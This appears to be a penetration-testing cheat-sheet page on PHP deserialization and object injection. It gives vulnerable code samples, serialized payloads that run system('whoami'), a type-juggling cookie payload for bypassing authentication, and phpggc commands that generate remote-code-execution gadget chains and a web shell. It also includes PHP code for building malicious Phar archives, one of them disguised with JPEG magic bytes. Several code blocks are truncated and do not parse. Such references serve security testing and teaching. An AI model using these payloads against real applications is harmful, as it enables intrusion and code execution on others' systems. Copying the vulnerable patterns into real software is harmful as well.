Skip to content

PHP Deserialization

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

The following magic methods will help you for a PHP Object injection

  • __wakeup() when an object is unserialized.
  • __destruct() when an object is deleted.
  • __toString() when an object is converted to a string.

Also you should check the Wrapper Phar:// in File Inclusion which use a PHP object injection.


General concept

Vulnerable code:

    class PHPObjectInjection{
        public $inject;
        function __construct(){
        function __wakeup(){
            echo "<br/>".$var1[0]." - ".$var1[1];
        echo ""; # nothing happens here

Craft a payload using existing code inside the application.

# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}

# Command execution
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"

Authentication bypass

Type juggling

Vulnerable code:

$data = unserialize($_COOKIE['auth']);

if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
    $admin = true;
} else {
    $admin = false;



Because true == "str" is true.

Object Injection

Vulnerable code:

class ObjectExample
  var $guess;
  var $secretCode;

$obj = unserialize($_GET['input']);

if($obj) {
    $obj->secretCode = rand(500000,999999);
    if($obj->guess === $obj->secretCode) {
        echo "Win";



We can do an array like this:


Finding and using gadgets

Also called "PHP POP Chains", they can be used to gain RCE on the system.

  • In PHP source code, look for unserialize() function.
  • Interesting Magic Methods such as __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone(), and __debugInfo():
    • __construct(): PHP class constructor, is automatically called upon object creation
    • __destruct(): PHP class destructor, is automatically called when references to the object are removed from memory
    • __toString(): PHP call-back that gets executed if the object is treated like a string
    • __wakeup() PHP call-back that gets executed upon deserialization

ambionics/phpggc is a tool built to generate the payload based on several frameworks:

  • Laravel
  • Symfony
  • SwiftMailer
  • Monolog
  • SlimPHP
  • Doctrine
  • Guzzle
phpggc monolog/rce1 'phpinfo();' -s
phpggc monolog/rce1 assert 'phpinfo()'
phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini

Phar Deserialization

Using phar:// wrapper, one can trigger a deserialization on the specified file like in file_get_contents("phar://./archives/app.phar").

A valid PHAR includes four elements:

  1. Stub: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain __HALT_COMPILER(); at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub.
  2. Manifest: Contains metadata about the archive and its contents.
  3. File Contents: Contains the actual files in the archive.
  4. Signature(optional): For verifying archive integrity.

  5. Example of a Phar creation in order to exploit a custom PDFGenerator.

    class PDFGenerator { }
    //Create a new instance of the Dummy class and modify its property
    $dummy = new PDFGenerator();
    $dummy->callback = "passthru";
    $dummy->fileName = "uname -a > pwned"; //our payload
    // Delete any existing PHAR archive with that name
    // Create a new archive
    $poc = new Phar("poc.phar");
    // Add all write operations to a buffer, without modifying the archive on disk
    // Set the stub
    $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
    /* Add a new file in the archive with "text" as its content*/
    $poc["file"] = "text";
    // Add the dummy object to the metadata. This will be serialized
    // Stop buffering and write changes to disk

  6. Example of a Phar creation with a JPEG magic byte header since there is no restriction on the content of stub.

    class AnyClass {
        public $data = null;
        public function __construct($data) {
            $this->data = $data;
        function __destruct() {
    // create new Phar
    $phar = new Phar('test.phar');
    $phar->addFromString('test.txt', 'text');
    $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
    // add object of any class as meta data
    $object = new AnyClass('whoami');

Real world examples


Last update: November 4, 2023